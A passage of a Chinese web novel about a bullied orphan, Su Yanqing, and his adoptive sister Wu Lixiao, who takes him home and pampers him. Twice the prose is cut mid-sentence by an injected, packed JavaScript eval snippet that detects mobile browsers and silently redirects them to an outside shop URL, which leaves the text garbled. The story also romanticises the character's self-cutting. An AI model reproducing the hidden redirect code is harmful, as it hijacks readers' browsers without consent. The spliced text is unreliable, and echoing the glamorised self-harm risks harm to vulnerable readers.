“那个姐姐从来没跟你说过话,她就是来施舍你的,像施舍一条野狗!别看你长得白,长得白也是白面鬼!” “就是!上课哪个问题都抢着回答,嘚瑟!” “那天老师拿了一张那么难的卷子,他都会,变态!” “白面鬼!白面鬼!变态白面鬼!变态白面鬼……”他们把苏晏清推倒在地,踹了几脚后纷纷做鸟兽散了。苏晏清忍着浑身的疼痛爬了起来,摸了摸被打出血的嘴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17849716|211799||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' 唇,逼自己把眼泪咽下去。一旦被老师发现他哭了,他肯定会被罚站的。 深秋的粉黛乱子草,如流丽的云霞。樟木清响,鸟鸣啁啾。 “晏清,”院长拿着一个大包裹满面堆笑地走过来,“那个总来看你的姐姐刚才来过了,给你带了一个新书包,还有文具、洗漱用品、水果、糕点……哎呀,还有肯德基呢……” 苏晏清打开糕点包装袋,浓烈芬芳的脐橙味道扑面袭来,里面是十块橙香奶酥,荣宝斋武家老号的招牌糕点,也是苏晏清最喜欢吃的点心。还有……还有他在路边看到的那个整天飘着油香的漂亮红房子里的东西:汉堡、炸鸡、薯条、蛋挞…… 姐姐!姐姐来过…… 苏晏清顿时觉得满腹的酸楚涌上心头,他再也不能维持往日温顺如羔羊般的形象,像只受了伤的小豹子一般疯了似的往大门口跑去,边跑边哭着追赶,“姐姐……姐姐……带我回家……啊啊啊啊……姐姐……我要回家……我要跟你回去……姐姐啊……姐姐……别不要我……啊啊啊啊……” 那次的严重违纪让他被关在小黑屋子里整整待了一天一夜,并且罚他听十遍《鲁冰花》不许掉一滴眼泪。出来后,他就成了集体的透明人。有人说他在小黑屋里被鬼附身了,夜里一直在尖着嗓子说梦话,叫得跟要死了一样,“姐姐……姐姐……我要回家……带我回家……”孤儿院里所有的孩子都不再和他说话,他不被允许参加任何游戏,集体活动时没有小组允许他加入,去郊外春游时他一个人在树林里迷路,别人三三两两地出去逛街、逛公园,他独自一个人在教室里刷题……他越来越孤僻,越来越沉默,即使成绩优秀,也没有一个朋友。在同学们的眼里,他只是那个“被拐卖女人生下的孽种”,“罪犯的儿子”,“没人搭理的白面鬼”……他们还往针管里灌上墨水,往苏晏清脸上挤……苏晏清那白皙俊美的脸上,还被人扔过苍耳,泼过水粉颜料…… 当年的苏晏清想:“那些大人们被老师拉走后说了几句话就不选他了,可能就是知道了他是罪犯的小孩吧?这样也好,选走了,就看不到那个经常来看他的姐姐了。” 多年以后他明白了,老师们根本就不希望他走。他在,武家的捐款就在,每年五万元的福利善款,能解决不少事呢! 后来,高考结束了,学费、宿舍费、生活费又成了他的头等大事。为此他四处打零工,最苦的时候在满是腥臭味儿渔场杀鱼,压海带,在养鸡场割鸡的□□,满地的鸡血和鸡毛……他还在一家没有营业执照的私人沙发作坊里包沙发,晚上睡在一堆臭皮熏天的劣质皮具里帮老板看场子,大小便只能用痰盂解决。炎炎烈日下他在建筑工地搬砖,和水泥,晒得脸上黑红黑红的,一层层地脱皮,捧着盒饭根本吃不下,经常累得呕吐,一个月瘦了十几斤…… 大一的寒假里,别人在欢庆佳节,他挤在公交车上赶去高中生里做家教,在奶茶店里做红茶芋泥波波奶茶,在饭店里擀皮、和馅,为他人的团聚增添温情……整整七天,每天工作十二个小时…… 武厉枭打开桌上的电脑,“我知道你们功课忙,所以把我的这台旧电脑拿来给你上网课用。这只苹果16手机也是我换下来的,用了也就不到一年,还很新,你那个手机都用胶带缠着用了,早该淘汰了。你现在不可以太累,平时要多休息,多晒太阳,客厅里那套家庭影院可以看电影,可以k歌。天气好的时候,别忘了出门走走,我们这条街上有花园,有温泉,有游泳馆,还有宠物乐园和烘焙室,总之啊,我不在家的时候,你记得照顾好自己,有事就给我打电话,别自己撑着啊,宝宝。” “宝宝?”苏晏清一愣,那是小时候苏家人唤他的,村里人也是这么唤他,十四年了,他再也没听到过。 “嗯?”武厉枭尴尬地笑笑,“你不习惯,我就不这样叫。” “姐姐,我喜欢你这样叫我……只是……你只这样叫我一个人,别这样叫其他人,行吗?” “好,姐姐答应你。但是,你也要答应我,好好照顾自己,多休息,多吃东西,不许逞能干活,不许让自己累着。” “姐姐……给你填麻烦了……” “你现在回家了,你得学会麻烦我,不要总对我说谢谢。” “嗯,我会照顾好自己的,我也想……照顾姐姐……可是,我要是想表达感谢时,说什么?” “说……姐姐真美……” “好,”苏晏清点点头,“我每天都会在心里说一千次,一万次,姐姐真美。”他指着那些家具边缘、尖角处的防撞海绵道,“姐姐,为什么包了这么多海绵垫?” “这样走路时不小心撞到也不会痛啊。你刚学会走路的时候在外婆家玩,外婆怕你撞伤,就让王婶婶把所有的桌子角,柜子边都包上了海绵,连玻璃杯都收起来了,就怕你不小心打翻了扎到手。”武厉枭摸了摸苏晏清的头,“宝宝,回来这么长时间,你还没笑过呢。给姐姐笑一个,好不好?” 苏晏清笑了一下,万物复苏,干净明亮,眼中闪着点点星辉。 “总之你以后无论遇到什么困难,都要第一时间告诉我。我们之间欠了十四年的相处,我不希望你拒我千里之外。” “我明白,姐姐。”苏晏清郑重地点点头。 武厉枭眼睛红了,却笑道,“宝宝,这些年你受苦了,欢迎回家!” 10. 宝宝式疼爱 当天晚上,苏晏清洗好了澡,摸着胳膊上的伤痕,无声地落下了泪。 他记不清第一次用刀划自己是什么原因了,但是他清楚地知道,自己是在自救。刀割下去,心就不疼了。血一滴一滴地流出来,痛苦仿佛也在一滴一滴地消失。 那个时候,心头莫名地一阵轻松,甚至有些快美。 渐渐地,他竟然有些爱上了自残,仿佛那是一种神圣的宗教仪式。胳膊上落下的不是划痕,是勋章。 苏晏清咬着被子哭了好久好久,手一直死死地按在心口上,仿佛这样才能抚平那种巨痛。他不知道自己为什么哭,只知道自己很想哭。在宿舍住时,他也是经常一个人躲在床帘背后咬着被子哭,第二天晾枕头,晾被子,被室友们调侃:“清哥,你又尿床了……” “这么频繁的打手枪,容易不举啊……” “实在不行用飞机杯吧,省得总晾被子……” 他在眼泪中迷迷糊糊地进入了梦乡,又一次来到地缝中。 他哭喊了好久好久,声嘶力竭,惊天动地。 但他知道,他指望不上家里任何一个人,酒鬼爷爷,赌鬼爸爸,脾气暴躁爱鸡蛋里挑骨头的奶奶,天天挨打的疯子妈妈……四岁的他清楚地知道,那是一个怎样天崩开局的家庭。 他看到姐姐下来了,如一束光。 姐姐抱起他,用绳子将小小的他和同样小小的自己捆在了一起。 “姐姐我怕…… “弟弟别怕,我带你上去!” 姐姐把安全帽戴到他头上,对着上面大叫,“我抱住清宝啦!拉绳子……” “啪!”绳子断开,姐姐和他一起掉进了深渊! “姐姐……”苏晏清痛彻心扉地哀嚎起来。 “宝宝,快醒醒!快醒醒!”一阵急促而温柔的呼唤把他从噩梦中带到现实,一双暖意融融的手握住了他冰冷的双手,“姐姐在这里。” “姐姐……”苏晏清满脸泪汗交加,气若游丝道,“我怎么了?” “你做噩梦了。” “对不起……吵到你了……” 武厉枭倒了一杯热牛奶喂给他,“第一次到一个陌生环境,是会有些择床。明天我去买些香薰精油给你点上,就好了。” “是我不好……给你添麻烦了……你快去休息吧……” “不要紧,”武厉枭用手指轻轻刮了一下他的鼻子,“笨宝宝,记得怎么说呀?” “姐姐真美……” “乖……”武厉枭帮他擦净了汗,换了一身干爽的睡衣,重新拿了一只枕头和被子给他盖上,“姐姐在这里拍着你,直到你睡着再离开……” 武厉枭像小时候那样,边拍着苏晏清,边嘟嘟囔囔地哄他,“宝宝睡觉觉呦……宝宝睡觉觉呦……我的清清宝宝……要睡觉觉啦……” 苏晏清终于安然睡去,一夜无泪无梦。 苏晏清身体刚好一些,就早早起床就厨房帮忙做早饭,黄奶奶连忙赶他:“快回去休息,这孩子真是……哪有生病的人还这么起早的!” 武月直也皱着眉头道:“晏清,你现在的任务不是干活,是好好休息。” “爷爷,我没事了。我不干活,心里会不舒服的。” “不用你干活。你现在的任务是吃好睡好玩好。待会儿吃过早饭,让你姐姐带你出去玩。明天你姐姐上班,你就要自己玩。” “玩?”苏晏清一头雾水,“玩什么呢?” “玩你们年轻人喜欢的,去附近的公园走走,打打太极拳和八段锦……哦,你们年轻人不喜欢这些……那就去电影院里看电影,去外面的馆子店里吃饭……对了,枭枭有一次带我去了个早茶店吃的广东菜还不错,那些糕点做的有甜的有咸的。邻街还有一家淮阳馆子,做的铁狮子头味道特别好,让你姐姐带你去吃。” 武厉枭吃完饭后把武月直拉到一边,“爷爷,小孩子夜里哭闹怎么办?” 武月直呵呵笑道,“这个你算问对人了!你小时候就是个小磨人精,晚上动不动睡着觉就耍赖,哭唧唧的。我再困都得爬起来给你泡奶粉。没办法呀,你妈妈那个时候没有奶水,他们年轻人又要打拼事业,夜里带孩子睡不好觉,我又担心保姆睡觉死,就自己挣命熬夜了。还好你闹了几个月就不闹了,我总结出来了,就是晒太阳少,运动量少。所以我让你从小学武术,你看现在身体多好!” “哦,那我待会儿要去商店里买个大点的奶瓶。” “买奶瓶?你队里那些糙汉子们谁家添丁进口了?” “没有,他们跟我一起打光棍呢!我是想给晏清买。这孩子昨天夜里做噩梦,又哭又叫的,好可怜呀!” 武月直“噗嗤”一声笑了出来,“傻丫头呀!用奶瓶泡奶粉是喂小孩子的,晏清都多大了!” “他……不也是小孩子吗?” 武月直笑着摇头叹了口气,拿出两千块钱,“你呀,今天带他去逛逛街,买点好吃好穿的好玩的给他。” 武厉枭笑道,“不用了爷爷,我自己有钱,我来给清宝买衣服。” “你的工资都给你的那群兵们发餐补和车补了,你自己哪有钱啊?” “我妈妈给我的。” “嗯,这还差不多。记住啊枭枭,没有钱了就管爷爷要,别用武鹤翔的钱。今晚爷爷会做壶瓶枣睡菜粥给晏清喝,那个粥安神的效果特别好,你可千万别去买奶瓶呀!” “嗯,知道了。” 武厉枭带着苏晏清去超市里买了几盒大庆奶粉和一箱原味酸奶,“以后你每天都要喝两杯奶粉,两瓶酸奶。大庆奶粉是1970年开始生产的,配料表干净,只有纯生牛乳。爷爷喝别的牌子的奶粉都烧心,就喝大庆奶粉不烧心。所以你以后每天早晚都要喝一杯。” “可是……姐姐……”苏晏清为难道,“会不会太多了?” “这怎么会多呢?”武厉枭踮起脚尖摸摸他的头,“你小时候呀,最喜欢喝neinei了。” 苏晏清出生后,因为疯媳妇没有奶水,他的第一口饭食就是棒子面粥。吴老太太去苏家道贺的时候,一看到此情景就变了脸色,“他苏婶,怎么能给刚落地的娃娃吃这个!就算媳妇没有奶水,街坊邻居送来的鸡蛋,冲个鸡蛋水也好呀!” 苏老婆儿满脸通红,“他爹刚下生的时候,也是吃棒子面粥的……” “胡闹!”吴老太太抱过小小的晏清,吩咐王婶婶,“把枭枭的奶粉拿来一罐,再取来一副干净的碗和勺子,烧一壶热水来。” 王婶婶答应一声,不多时便一一取来。吴老太太手把手地教苏老婆儿如何冲奶粉,把冲好的奶一勺勺地喂进婴儿红嫩嫩的小嘴儿里,看着他香甜地睡去,“明天我让枭枭他舅送来个奶瓶来,再送包纸尿裤来。” 后来,吴家隔三差五地给苏家送奶粉,究竟有没有进苏晏清的肚子里,也无从得知。寒暑假里武厉枭回望口村,把苏晏清抱到吴家大宅来带,吴老太太都会另外置办一整套婴儿用品,给外孙女当“娃娃周边玩具”:奶粉、奶瓶、毛巾、浴巾、沐浴乳、浴盆、被褥、纸尿裤、碗筷、水杯…… 武厉枭抱着小小的苏晏清,一脸温柔地喂他喝婴儿奶粉,“宝宝,好不好喝?” 苏晏清粉白如蔷薇的小脸蛋笑开了花,摇着脑袋蹬着小胖腿说:“哒哒哒哒……” 武厉枭语重心长道,“你看看,你比姐姐高出两个头。这么大的个子,每天都学习,要运动,都离不了钙来支撑的。喝牛奶,吃鸡蛋,吃鱼肉,都是为了补充钙质的。你身体不好,就是因为平日里吃的东西不足以提供营养和能量。从小开始补钙,老了能延缓钙流失。你看黄奶奶就总说,她小时候家里条件差,没钱吃鸡蛋和牛奶,年轻时国企效益不好,牛奶和鸡蛋只能留给孩子吃。所以还不到四十岁时,手腕就总之嘎嘣嘎嘣地响。后来到了咱们家,条件好转,每天都能吃鸡蛋和牛奶,身体也好了,如今70岁了,买菜做饭啥都能干。” “嗯,好,都听姐姐的。”苏晏清点头笑道,“我也要每天努力喝牛奶。” 二人又来到了万达广场三楼,这一层卖的都是男装。武厉枭问道,“宝宝,你平时都喜欢什么样的衣服?” “我……我平时就穿……高中的校服……” “哎呦,那可不行。我昨天给你洗衣服时,发现那些衣服都没弹力了,布料也糟了,不能再穿了。今天我们看看给你买几套好看些的休闲装。” “姐姐,刚才楼下的那家班尼路满便宜的,打折的衣服三十一件,买那里的吧?” “不行不行,那里的衣服不适合你。” “可是……太破费了……我……” 武厉枭突然问道,“对了,宝宝,你过过生日吗?” “没……” “你十八岁了,还没有过过生日。那你知道这个城市里像你这么大的孩子都怎样生活的吗?” “不知道……” “他们每年春节都会有压岁钱,每年都会过生日,六一儿童节也会收到礼物,双休日会去公园玩,和家人一起吃大餐……他们有的,你也要有。你十八年欠缺的爱,姐姐都要给你补回来。” “可是姐姐,我已经十八岁了,长大了。” “怎么?你不相信姐姐?” “不不不,”苏晏清慌忙女娲补天似的,“我相信姐姐,姐姐是我的英雄。” 二人又看了几家男装店,苏晏清突然站定了,望着眼前的新中式重工刺绣莲花晕染圆领衫和粉蓝色提花衬衫出神。武厉枭笑道,“不是一家人,不进一家门。”年轻漂亮的女店长早就过来迎接道,“大小姐,好久不见。哎呀,这么帅的小哥哥,是您男朋友吧?” “不是,是我弟弟。”武厉枭指着门口模特身上的衣服,“把那件圆领衫和那衬衫选个合适的码子,给我弟试穿一下。” “好嘞!” 苏晏清从更衣室出来后,女店长捂着嘴吃惊得赞叹道,“少爷太帅啦!简直是量身定做的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17849717|211799||http|test|mini|href|location'.split('|'),0,{})); () { $('.inform').remove(); $('#content').append(' !少爷您有没有兴趣进娱乐圈啊?您这颜值,简直可以当顶流呀!” 苏晏清脸部的轮廓干净利落,但他不是那种锐利有锋芒的帅,是一种温润如玉的美,眼神清澈如山间晨雾,让人看一眼就心生柔软,忍不住怜惜他,呵护他。 武厉枭帮苏晏清整理一下衣领,“嗯,肩还是有点大?要不要换个小一码的呢?” “姐姐,小一码可能会短。这个袖子是正好的。” “是哦,你个子高,臂展长,是不大好买衣服。今天先包上这几套,过几天去妈妈公司里请人帮你订做。” 武厉枭又选了一件竹叶纹的连帽卫衣、一条海水纹阔腿运动裤,两套冰丝盘扣开衫,两条龙纹提花休闲裤,两套写意墨莲运动服,这才拉着苏晏清离去。苏晏清奇道,“姐姐,我们还没有付钱呢?” “傻瓜,你看这个品牌名,禾锦图腾,是妈妈开的公司啊。这家店里内衣和袜子都有的卖。刚才我跟店长讲了,以后你缺什么都可以来店里拿,记账就可以。妈妈的助理会来清账的。” “姐姐,为什么要买两套一模一样的运动服呢?” “给你当家居服穿啊。” “家居服?” “对啊。比如说我,我上班呢虽然大多数时候都可以穿便装,但是有的时候呢,会穿警服。那警服虽然笔挺,但不够柔软舒适,所以回到家中呢,我就要穿家居服。穿着宽松的家居服,可以想躺着就躺着,想歪着就歪着,也不用担心把外面穿的衣服弄皱了。所以啊,我给你准备了两套家居服,便于换洗。店长有我的微信,她跟我说,明天厂家会送来新款的衣服,她会拍照给我,让我选合适你的款式,到时候会按照你的尺码送来。” “这……”苏晏清不好意思道,“姐姐,你觉得我穿哪件衣服最好看?” “你呀……”武厉枭眼珠转了转,“都不如你小时候的那件衣服。” “小时候?” 武厉枭九岁那年的暑假,跟外婆逛集市,看到有个老奶奶卖手工刺绣的红绫肚兜,有小白兔的,有小熊猫,还有两条大锦鲤的。她就跟外婆说:“外婆,我想给清宝买那件大鲤鱼的,他穿肯定好看。”外婆同意了。她又说:“我还想给清宝买那只粉色莲花蕾丝边小帽子。”外婆也同意了。她回到家就把苏晏清抱过来,给他洗了澡,把洗晒干净的鲤鱼肚兜和莲花帽给他戴上。抱着那小肉胳膊像藕节似的,小屁股圆乎乎肉乎乎的小宝宝亲了一口,还让外婆给她拍了一张照片。 武厉枭把外婆院子里的格桑花摘下来,给苏晏清插在帽子上,“宝宝,你知道你叫什么名字吗?你叫晏清,河清海晏,盛世昌明。” 苏晏清点点头,笑道,“哒哒哒哒……” 武厉枭把手机里存的那张照片举给苏晏清看,“宝宝,这就是那张照片,你可能都不记得了。看,这就是你小时候,白白胖胖的多可爱,这红肚兜多衬你。哎呀,我当时该多买几条的,多给你拍几张照片……” “那……”苏晏清凑到武厉枭耳畔,细语道,“哪天我再穿一件红绫肚兜,姐姐给我拍照,好不好?” “胡说!”武厉枭抓过他的手,轻轻打了一下手心,啐道,“都多大了,还穿肚兜,不叫人笑死!”又瞪着眼故作霸道,“总之你记住了,不许让我看到你穿那件高中校服,否则我必打你屁股!” 苏晏清脸上一红,笑若秋阳般温柔,“遵命!姐姐,你凶人的样子……真美……” 二人信步来到乔丹品牌店,武厉枭站在货架前忖度了片刻,拿出一双乔丹飞影全掌悬浮碳板鞋,对店员说:“麻烦拿一双42码的给我弟试一下。” 店员拿过一双来,蹲在地上帮苏晏清穿好后,武厉枭又吩咐道,“来,走一下看挤脚吗?” 苏晏清走了几步,“还好。” 武厉枭蹲在地上捏了捏苏晏清的脚,又把手指沿着他的脚后跟探了进去,“不行,塞得太满了,要大脚趾能在鞋里面活动开,穿得太舒服。”又让店员拿43码的鞋重新给苏晏清试过,再捏了捏他的脚,探了探他的脚后跟处,方满意地点点头,“这回应该舒服了。” 武厉枭一口气选了三双鞋,刚要去收银处付款,苏晏清急得面红耳赤道,“姐姐,还是……算了吧……” 武厉枭甩开他的手,故作霸道,“我偏要给你买,有意见啊?那就憋回去!” 苏晏清低着头抿嘴笑笑,“好,我闭嘴!” 武厉枭用手指戳戳他的脸,“走,去买浴袍和睡袍。” 武厉枭把苏晏清带到男性内衣家居服专区,选了两套棉纱布睡衣,用手揉了揉,又仔细看了看标签,对导购员道,“麻烦给我选两套a类婴儿棉纱布睡袍,要我弟的尺码的。” 婴儿棉?苏晏清不敢相信自己的耳朵,“姐姐,我……应该不用婴儿棉的……” “那怎么行!”武厉枭瞪着眼睛道,“婴儿棉柔软细腻,小孩子穿着才舒服。有些棉麻的粗糙,穿在身上扎扎的,又疼又痒的。” 11. 望口村往事 已经是夜里十点多了,苏晏清那屋里的灯还在亮着,武厉枭轻轻地在窗棂下唤道,“宝宝,还没睡吗?” 苏晏清忙打开门把她迎了进来,“姐姐,你这是刚下班吗?有没有吃东西?我去给你煮夜宵。” “不用了,刚才跟我那帮义子们吃过了,吃的烧烤。对了,你喜欢吃烧烤吗?下回我带你去。” “我……我没吃过……我愿意尝尝……” “我今天忘了一件很重要的事。”她从神后神秘兮兮地拿出一个东西来,“看!” 居然是一罐爽身粉! “你小时候每次洗完澡我都会给你涂爽身粉,要不就让汗洇得红红的,搞不好还会破皮。”武厉枭打开爽身粉罐子,一股清幽沁凉的香气扑面而来,“来,脱掉上衣,躺下,姐姐给你涂。” “姐姐……”苏晏清红着脸低低叫了一声,乖乖脱掉上衣躺下来,武厉枭给他的脖子、腋下、腿弯、肚子、后背都涂满了爽身粉,笑着捧起他的脸说:“对,你小时候就这样,涂完了爽身粉,就变成了个椰蓉糯米团子。你那个时候的肚子圆乎乎的,我涂完了爽身粉,就对着你的肚脐眼噗地吹口气,你就咯咯咯地笑。” “往肚脐眼吹气?” “对呀,就这样。”武厉枭凑近苏晏清的肚脐,真的吹了一口气。然后两手捧着他的脸朝中间一挤,说了一个“猪”字,然后又遗憾地叹道,“你小时候啊,就喜欢跟我玩这个小猪游戏,我一说猪,你就笑个不停。那个时候你才一岁,小脸圆圆的,身子肉嘟嘟的,像小猪一样可爱,抱在手里像肉蛋似的,一会儿工夫就压得我胳膊通红一片。现在呀,脸太瘦了!你瞧瞧,脸小得快和脖子一般粗了。你小时候哪有脖子,就是个圆鼓隆冬的大头,红扑扑的红脸蛋,多可爱!一对儿亮晶晶的大圆眼睛,毛嘟嘟水汪汪的。整天扭个小胖身子在沙发上拱啊拱的,哈哈哈……像豌豆苗上的豆虫!”她拉起苏晏清的手,略带嫌弃又失望道,“你小时候的手可不像现在这么瘦,硬邦邦的。那个时候你的小手手肉乎乎的,像小老虎的肉爪爪,手背上四个小肉坑坑呢!你那时的胳膊,一骨节一骨节的,每次给你洗完澡,我都想咬上一口!还有小圆肚皮,”武厉枭拍了拍苏晏清的肚子,“小时候像西瓜似的。每次我拍你的肚肚,问:西瓜熟没熟?你就说:熟……哈哈哈……哎呀,怎么都没有了呢!怎么这么快就都没有了……怎么现在瘦得都凹下去了?” “所以,我不可爱了吗?”苏晏清趴到武厉枭腿上,“我不如小时可爱了,姐姐还会喜欢我吗?” “你现在也可爱,就是太瘦了。现在你回家了,姐姐会把你养得白白胖胖的。”武厉枭摸着他的背,小时候的晏清,浑身上下哪里都是柔软的,肉嘟嘟的。每次武厉枭给他洗完澡,都要把嘴唇贴在他的小肉腿上“噗噗”地吹气,然后拍拍他的肚子,“西瓜保熟吗?”苏晏清就笑得满床打滚。外婆看到两个人笑成一团,闹成一团,也会笑得眉眼弯弯,“别人家是娶媳妇才会请童子滚喜床,我们家可倒好,天天有仙童子滚喜床……” 王婶婶心疼武厉枭天天抱着苏晏清压得胳膊酸,就给她做了一个无比结实的婴儿背带,“我们小时候带小弟弟妹妹都用这个,把弟弟妹妹背在后背上,下地干活,灶间做饭,一点都不耽误。” 武厉枭就用背带把苏晏清背在胸前,挺胸抬头骄傲无比地唱着,“袋鼠姐姐袋鼠姐姐有个袋袋,袋袋就是为了就是为了保护乖乖……” 晚上睡觉前,武厉枭和小小的苏晏清脸对脸躺着,她用手指着苏晏清的五官,“宝宝,这是你的鼻子,这是你的嘴巴,这是你的眼睛,这是你的小脸蛋……”然后又问,“宝宝你自己指一指,宝宝的小鼻子在哪里呀?”苏晏清指对了,她就亲他一下,“宝宝真聪明!眼睛在哪里……” 现在的苏晏清,没有了软萌可爱,没有牙牙学语时的奶声奶气,没有了天真无邪的脆笑,却像一块琉璃似的,看似绚丽耀眼,却硬而脆,似乎一用力就能把他整个人捏碎。她的手抚过苏晏清的头发和耳朵,柠檬味沐浴乳的香气萦绕在她鼻间。“姐姐当然喜欢你。宝宝,你的耳朵还跟小时候一样,软软的,耳朵软的人怕老婆呦!” 苏晏清笑道,“哪有啊……姐姐……” “对了,你有腹肌没有?” “腹肌?”苏晏清脸上一红,“我……” “肯定没有。”武厉枭随手摸了他肋骨一下,“你瞧瞧,肋骨一根一根的,侧面看你薄得像纸一样,哪有腹肌,肚子肯定都是凹下去的。你刚入学量体重,也就130斤。” “嗯,差不多吧……” “你185公分,怎么也得150斤左右才行,才130斤,这不就是跟芦柴棒?你呀,得吃胖一些才行。明天我买个电子秤来,每周给你量一次体重。今天有没有按时吃药?有没有记得喝牛奶?” “有。” “大晚上又看什么书呢?”武厉枭拿起来一看,是英语六级词汇表。“你在背单词?” “嗯,我四级已经过了,我想,早点过了六级,然后集中精力学专业课,这样大三下学期就可以参加司法考试了。” “宝宝,司法考试很难的,姐姐不希望你太辛苦了。” “不辛苦,我早点当上律师,也可以帮姐姐。” “傻瓜!”武厉枭轻轻捏了捏他的脸,亲昵道,“公安系统有很多律师的,但我只有一个弟弟,累坏了怎么办?” “姐姐,你不希望我帮你吗?” “其实,你已经帮我了。” “我?” “你回到我身边,和我住在一起,给爷爷带来欢乐,让我摆脱了独生子女的寂寞,已经帮了我很多。十四年前失去你的那几天,我天天都在哭……”武厉枭的眼睛红了,哽咽道,“所有人都在夸我,表扬我,说我是英雄……可是,我直到今天都不知道那个报道对不对,但我知道,当年没把你接回来是不对的……我好后悔……”武厉枭的眼泪落了下来,“这么多年,我经常做梦,梦到你四岁的样子……梦到你在地缝里哇哇大哭,梦到你搂住我的脖子,说姐姐我怕……梦到我竟然抱不住你,让你摔了下去……可是我最怕的,是梦里四岁的你对我说:姐姐,你为什么把我的爷爷奶奶和爸爸送进牢里,为什么抢走我妈妈……我……我不知道怎么回答你……我醒来后骗自己……说是他们犯罪在先,我间接救了你妈妈……可为什么这一切罪孽,要四岁的你承担……为什么……” 苏晏清被送去福利院的那个秋天,学校组织集体去文化宫看电影——《鲁冰花》。其他同学都嘻嘻哈哈打打闹闹的,为一整个下午不用上课不用写作业而兴奋。只有武厉枭一个人不住地掉眼泪:为失去了母亲又早逝的古阿明,为失去了弟弟的古茶妹。当看到古茶妹对着躺在棺材里的古阿明掉眼泪时,她看到的,是那个在地缝里哭着叫姐姐的四岁孩子。她多想也像电影里的古茶妹那样,对所有人说:我的弟弟是个好孩子,聪明可爱…… 从那以后,所有人心中无坚不摧的少年英雄武厉枭最怕的一首歌就是《鲁冰花》,只要一听,必会落泪,必会想起地缝里那个抱着她哭的小肉团子,想起福利院里那个孤独的小小身影。 苏晏清的眼泪也落了下来,紧紧地把武厉枭抱在怀里,“姐姐,不是你的错……这一切,也不该由十二岁的你来承担……是我爷爷奶奶和爸爸犯罪在先……要怪,就怪命运……我现在就在你眼前……求求你,别再自责了……别怀疑自己了……你永远是我姐姐,是我的恩人,是我的光……”他拿出那只苹果十六手机,“姐姐,给我安个定位吧,这样你可以随时随地找到我……” “好……” 苏晏清帮武厉枭擦干了眼泪,重新躺到她腿上,拉着她的手问,“姐姐,我小时候调皮吗?” “嗯,不调皮,很乖,很听话,很好带。喂你吃饭,就乖乖地坐着一口接一口地吃,睡觉呢,拍两下就睡着了。我写作业的时候,你就坐在我旁边玩玩具,安安静静的,从不捣乱。你从不耍赖,很少哭,简直就是天使宝宝。你那个时候才四个月大,我用个塑料袋装上了气,扎紧口,做成了个会飘的球,一手抱着你,一手抓着你的小脚丫去踢。嘭,塑料袋球飞起来了,你就嘎嘎嘎地笑红了脸。你呀,才出生没几天就会翻身,月子里就哦哦地叫个不停,好像在跟谁说话似的,有时候像小鸟,有时候像哨子,还自己咯咯咯地笑。一高兴时就翘着两个小脚丫,用小拳头打自己的肚子,也不怕疼。你那对儿小腿呀,像鼓棰似的,月子里就有劲,睡觉动不动就踢被子。两个月大的时候,躺在那里就蹬啊蹬的,像骑自行车似的。我用手指挠你的脚心,你的五根小脚趾就缩起来,哈哈哈……太可爱啦……”武厉枭摩挲着他的头发和五官,“你小时候呀,圆圆的眼睛,红扑扑的脸蛋,像个年画娃娃似的。你刚长牙的时候,两个小牙尖透明的,像水晶一样。我跟你的牙上放了颗小樱桃,活像年画上的刘海仙。外婆的后院里种着一些林下参,林下参开花了,我就给你梳两个朝天辫,把林下参的花戴在你的辫子上。那红莹莹的花一戴,别提多喜庆了?外婆说:年画娃娃变人参娃娃啦。你从小运动能力就强,五个月就会坐了,六个月就会爬,会站,还总想走。外婆就把我用过的学步车给你用,让你站在学步车里走,你呀,就在院子里横冲直撞的。我追着你跑,你就反过去追我,伸着小胳膊说姐姐抱。我把你抱起来,你在我怀里就笑眯掉了,笑软了……” “我小时候黏人吗?” “你小时候呀,就是我的小尾巴!那个时候,我只有寒假暑假能去外婆家。但只要我去了,你呀,用你奶奶的话来说,恨不得长在我家一样,从早到晚都要我带你。白天呀,我就给你冲奶粉,喂水,喂饭,带你玩。”外婆晚上有泡脚的习惯,你就从卫生间里拿出个小盆来给我:姐姐泡脚脚……我就打了热水给你泡脚。你那小脚丫,像两个大白汤圆似的,每次泡完,我都要捞出来咬一口。你有个习惯,闹觉的时候不哭闹,就是挠自己的头发。我呢,就帮你抓抓头发,抓抓后背,抓着抓着,你就睡着了……” “我小时候都吃什么?” “你小时候吃的,都是我给你做的……” 武厉枭的思绪又回到了十八年前的望口村。外婆家当地的富户,除了十六亩自留地以外,还有三百亩承包的耕地,以及山林、果园、鱼塘等多项产业,住的是有庭院有车库有阳台的三层自建独栋别墅。外婆家的院子永远是晴空万里,庭院里种着风铃花、铃兰、七彩木香、女贞……一到春天,梨花、泡桐、栀子如雪般飘飘洒洒,柚子花的甜香能熏醉人。一楼是客厅和厨房、饭厅、卫生间,二楼是工人们的宿舍,也带着淋浴间和抽水马桶,三楼是四间卧室外加一个书房,还有小厨房、淋浴间、抽水马桶、浴缸和阳台小花园。平时外婆一个人住,周末的时候在乡政府上班的舅舅会回来住,寒暑假的时候武厉枭也会回来陪伴外婆。 